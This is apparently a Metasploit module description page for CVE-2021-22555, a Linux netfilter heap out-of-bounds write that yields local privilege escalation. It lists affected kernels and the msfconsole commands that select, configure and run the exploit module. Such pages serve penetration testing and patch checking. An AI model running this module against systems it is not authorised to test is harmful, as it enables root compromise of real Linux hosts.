A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space. Kernels up to 5.11 (including) are vulnerable. More information about vulnerable kernels is available at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea
Linux
x64
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
msf exploit(netfilter_xtables_heap_oob_write_priv_esc) > show targets
...targets...
msf exploit(netfilter_xtables_heap_oob_write_priv_esc) > set TARGET < target-id >
msf exploit(netfilter_xtables_heap_oob_write_priv_esc) > show options
...show and set options...
msf exploit(netfilter_xtables_heap_oob_write_priv_esc) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security